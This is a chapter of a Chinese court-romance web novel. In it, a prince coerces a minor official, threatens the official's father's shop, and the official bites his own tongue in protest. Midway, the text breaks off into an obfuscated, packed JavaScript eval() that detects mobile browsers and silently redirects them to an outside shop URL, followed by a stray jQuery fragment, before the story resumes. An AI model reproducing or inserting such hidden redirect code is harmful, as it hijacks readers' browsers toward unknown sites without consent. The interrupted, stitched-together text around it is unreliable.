宣政殿前风雨凄凄。
老皇帝年迈的呵斥声一重接一重,虽皇帝是久病之人,但声音仍带着几分天子的气度。
七殿下先被刑部侍郎蔡韫参了一本,而后吏部中书令站出来参劾,之后整个早朝就变成了七殿下母子的罪行综述。
池融站得地儿离的太远,低头淋着雨,只依稀听个大概,言而总之七殿下今儿是要倒台了。
他这种小芝麻官来了一回就祛了魅,站得腰酸腿疼不说,伤口沾了雨水隐隐作痛,怕是要发炎了,他在心里催这早朝赶紧散了。
他正垂着头熬时辰,从上面的白玉阶上跑下来一个小太监,嗒嗒嗒一路踩着雨水,最后居然停到了刑部这一群小吏面前。
“哪个是刑部书令史池融,陛下有召。”
池融大惊失色‘啊’了一声,左右的同僚也瞪大了眼睛看他。
他瑟瑟发抖道:“……下官正是。”
列下百官一个个回头瞧过来,尚来不及说话,池融三魂七魄都吓飞了,跟着前头太监的一路脚步飘忽的走到了宣政殿内。
正殿中不比外头,列着都一个个都是紫袍红袍的大官,上头的皇帝他更是一眼都不敢抬头瞟,浑身湿漉漉,扑通一声跪地磕头。
“下官刑部书令史……池融,叩见陛下万万岁。”
殿中寂寂,池融埋着头见暄王殿下的靴向他迈来,停在他身前道:“池书令,二哥向陛下参奏七殿下勾结大理寺,栽赃朝廷命官,意图混淆视听来销案,你当日被诬陷,陛下宣你来作证,你一一言明就是。”
暄王声音四平八稳,池融心绪稍缓,顿了顿后将当日牢狱中的遭遇详述一番。
众官听罢群情激愤道:“大理寺竟如此随意戕害朝廷命官,岂还有公理王法!大理寺成了七殿下的后院不成,陛下万万不能轻纵啊!”
七殿下跪在地上哭的声泪俱下,连声喊着父皇饶命,还一路不顾仪容的直接爬上了阶,钻到皇帝脚底下求情。
殿中嚷嚷乱乱,吵成一团。
池融茫然无措跪着,左瞧右看,他是不是能退下了,但太监又没宣旨,仓皇下他似乎瞟见上头老态龙钟的皇帝扫了他一眼。
他思来想去像个鹌鹑一样抱着头挪到暄王殿下脚边贴着,谁知暄王暗中一挥脚就将他踢开。
池融溜着眼缝看了他一眼,暄王垂眸愠脸,目色冷薄,那么威严不可近。
对方眼神漠然,带着几分不耐烦,像在看一个不合心意的摆件,或不听话的猫狗儿,虽然……池融还是迟疑了半秒。
他忙怯怯挪开,怪他糊涂太过忘了此时正在大殿之上。
七殿下抱着老皇帝的腿磨了许久,最后皇帝到底没心软,下旨革了七殿下的亲王之位,移出宗室玉碟,压入刑部候审。
皇帝道:“罔朕疼爱宸妃母子多年,不识这一双毒妇狼子,如此僭越妄为!朕膝下数子,唯有暄王有一颗孝心,大理寺日后一并交由暄王代管。”
暄王迈步到殿中央:“儿臣定不负父皇所托。”
皇帝满意点头,太监搀扶着他离开宣政殿,散了朝一众官员围着暄王恭贺。
池融在人堆里自顾自爬起来,湿掉的官袍闷在身上不大舒服,一个人埋头匆匆往外头走。
谁知二殿下徐元祯笑眯眯的喊住他。
“池融,上回本殿见你可怜,本有心帮你,但无奈受了五弟所托。本殿之后思来想去,总觉得有愧于你啊。”
池融:“是下官当日莽撞了,如今安然无恙,殿下不必挂怀。”
“你无辜在大理寺遭了一场罪,本殿看不过去,日后再有什么苦楚,大可来寻本殿。”
“谢殿下。”
池融迎合对方笑了下,暄王大步流星过来剜了一眼他,摆了下头道:“池书令案卷都抄完了,还有闲心在这多舌,退下。”
徐元祯拦道:“五弟莫怪,我看池书令头回面圣吓着了,故安抚他几句。”
“二哥美意,哪就用这么抬举他了,我稍后叫人送一碗安神汤给他就是。”
徐元祯眼神微妙的盯着池融的伤。
“五弟也太不怜惜了些,怎的还伤了,难不成你二人不睦。”
徐元策面如止水,回头淡淡瞥了眼池融,“二哥多虑了,他如今处处都依我,池融,你说是不是?”
池融:“殿下之命,下官定句句听从,不过二殿下您误会了,这伤是我自己磕的,下官和五殿下别无情谊,用不上怜惜二字。”
徐元祯:“啧、五弟,难不成你与池书令不是两厢情愿?这人毕竟在朝为官,若有人闹到父皇哪也不好看,不如二哥送两位美妾至你府上伺候。”
“不必。”
……
殿外阴雨绵绵,暄王失了颜面大步行出殿门,面罩黑云,比天色还阴沉几分。
徐元祯今日在老皇帝面前摆了他一道,宣池融到御前问话,言外之意是他一个殿下和臣下私相授受的事随时可以捅到皇帝老儿那里,若是个寻常的美姬清倌也罢,可池融到底是个朝廷命官,还是他强取威逼来的,这事传出去可大可小。
老二摆明了是来故意恶心他的。
回了隆安殿,徐元策拽着池融进了里头,气冲冲道:“老二刚才给你灌什么迷魂汤了,要你在人前这么丢我的脸。”
“二殿下都说了,安抚我两句而已。”
“呵,安抚两句就让你笑那么开心啊?对着我成天这么一副臭架子,我是昨儿没哄你,还是赏你的东西是缺了还是少了。”
“你再说一回跟本殿没情!”徐元策掐着池融的脸亲,简直霸王硬上弓,“要不是这点情,以为本殿能容你到现在吗?早打发你去凉州吃沙子了。
池融被他亲的口齿不清说话:“殿下在御前那般避之不及,装不认识我,我依着您的话说,殿下何必发这么大火。”
徐元策顿了顿。
“你不懂规矩,我踹你一脚,你还记上仇了?老二口腹蜜剑,拿你在皇帝面前敲打我,人前得避着一点,这点本分你都不知道么。”
“那殿下跟我断了就一干二净。你们斗法,我夹在里头哪日死了都不知道。”
“你说什么呢。”徐元策亲着他湿软的唇瓣,一碰到人就由不得心酥,不正经起来,“把牙齿收收,让小爷好好罚你一顿。”
池融狠狠咬了他舌头一口。
“我说了不要亲。”
徐元策被咬出了血,气红眼道:“你来真的,一回两回闹个没完了是吧。”
池融一脸冷淡的坐起,无心与他纠缠:“下官还有公务在身,就先走了。”
“站着!本殿是对你太好了,滚到殿后跪着去,何时浇乖了你再起来。”
出了屋安公公劝池融道:“小池大人,您怎就不能顺殿下的意呢,外头下着雨,会跪坏身子的。”
池融摇了摇头,连个蒲团都没拿,到了殿后低头就跪着不动。
殿后少有人走动,他一跪就一整个上午,像个木刻的,也不知往廊下挪一点避雨。
一直紧闭着的殿门推开,安公公急走了两步到廊下,“池大人,殿下说了您再不知认错,就请衙役去永宁巷四弄的布铺子里查一查店老板的账。”
池融一下子抬起脑袋,那是他爹池尚德的铺子。
他从前以为五殿下还不至于下三滥到拿他的父母来作文章,现在一看,五殿下比他想的跋扈更甚。
简直是狗官!
池融忙扶着地起身,颤巍巍进了屋里,五殿下正握着筷,被太监们小心伺候着用膳,他慢条斯理的抿了一口东西,撩起眼缝嘲弄看了他一眼。
池融浑身湿透:“殿下,下官知错,您大人不记小人过,莫多计较。”
“本殿当你有多大本事呢,我才动动手指头,你就招架不住了?”
徐元策抬手屏退身边的太监,池融低眉顺眼的走过去,“下官与殿下之事,不必牵动家中父母,这么做自贬身价。”
“池融……莫说你家中一间铺子,你们池府我如今也一翻手就能捏碎,别拿我做什么正人君子,什么本殿都做的出。”
“你想试的话,大可继续,奉告你一句,覆水难收,别给脸不要脸。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17716250|208528||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
池融眨着眼,眼角里蓄着泪,这时候却忍住了没哭出来。他瞥见案上摆着一张搜查令,明白写着池尚德的名字。
“殿下想如何,下官做就是。”
徐元策转过头用膳:“这副楚楚可怜的样子,让谁心疼呢,不是咬我的时候了。你知道刑部的规矩,未时三刻前会有人来收这张文书。”
池融垂头思索片刻,忽然动了动脸,用力用齿尖咬自己的舌头。
徐元策一愣,忙握住他的脸,将手指塞进去抵住,“你做什么!”
“下官还殿下。”
“蠢货一个!你宁愿咬舌,也不愿意服个软。”
安公公进来连声唉呦,扶着人到里头,先换了身衣裳,花了好一番功夫才止住池融嘴里的血。
池融疼的冷颤,徐元策见人弄成这样一阵心烦意乱,吩咐安公公道:“去拿个冰块给他含着止痛。”
“是。”
池融病蔫蔫的躺在里头,二人沉默无言。
“你自个躺着歇会,本殿出去走走。”徐元策甩甩袖子出去。
过了这一遭后,池融当日回荷风院,暄王连园子都没回,之后池融就按两人所约回了池府。
一进门莹娘就欢喜迎上来,“表兄回来了——”她话说到一半,笑容止住。
池融托着一副病容,气色瞧着很差。
“表兄这是怎么了。”
池融压着声说话:“上朝时淋了雨,不慎脚滑磕伤了头,撞了舌头,还着了点风寒。”
莹娘:……
池三娘子出来一看,忙扶着他进屋,“融儿,你三天两头的不着家,还这么多灾多病的,是在宫里冲撞了什么邪祟吧。娘领着你去庙里拜拜香。”
池融心虚:“嗯,近来是倒霉了点。”
池三娘子心疼摸了摸儿子的脑袋,池融眼里湿了湿,想起来说:“莹娘,你写信说四婶娘来院里闹,我回来时瞧四院的门紧关着,喊了人也不在,怎么回事。”
莹娘温柔端上茶道:“四婶娘那日坐着,我没法子拿了些银两打发她走,正说着话,四婶娘忽说身上痒急着回去,回去后说是身上起疹子,这两日关在院里养病呢,四叔送昌哥儿去他祖母家住了。”
池融皱皱眉点头:“昌哥儿的事我有着落了,沈府里办私塾,这月二十开课,待见着四叔说一声。”
“表兄就是心太善。”
“昌哥儿从小跟我亲,为着他罢了。”
池三娘子笑笑牵着莹娘的手放在池融胳膊上,“融儿,莹娘是个好孩子,日日照顾我不说,你四婶娘来院里撒泼,幸好有莹娘应付着。你两成婚多时了……融儿不如待她亲近些。”
莹娘脸红抽开手:“三夫人,我眼下已知足了,不为难表兄。”
池融从袖中掏出一个珠钗,递给她道:“莹娘你先拿着,就当我谢你的,娘说的事……容后再议。”
莹娘伸出纤手接过,垂头羞笑,她表兄说的是再议,不是全然否了这事。
“爹呢。”
“喔,三老爷前日新进了一批布料,正在铺子里忙呢,稚奴说近来生意不错。”莹娘说,“我熬了羹,去端来给表兄吃。”
“好。”
莹娘走后,三娘子劝道:“姑娘家青春就这么几年,融儿莫拖人家久了。”
池融心中五味杂陈,嗯了一声。
之后池融难得一连过了小半月清静日子 ,许久未得见暄王殿下的面。
他中途回荷风院住了两回,等到烛火枯尽,暄王那边也未有动静,听园子里的太监说,五殿下在别的地儿新养了几个美姬。
他这是失宠了。
池融听过大喜不迭,白日里上值的时候偷摸去隆安殿寻了安公公,在角落里问:“下官日后是否不用留在院子里住了。”
安公公还未出声,听见窗户那传来一声怒骂:“你有种的就滚。”
池融一扭脸就灰溜溜的回了那头殿里当值。
隆安殿里,暄王啪的一声摔了笔,叉着腰气的黑脸。冷了小半月了,人还是这副不知趣的德行。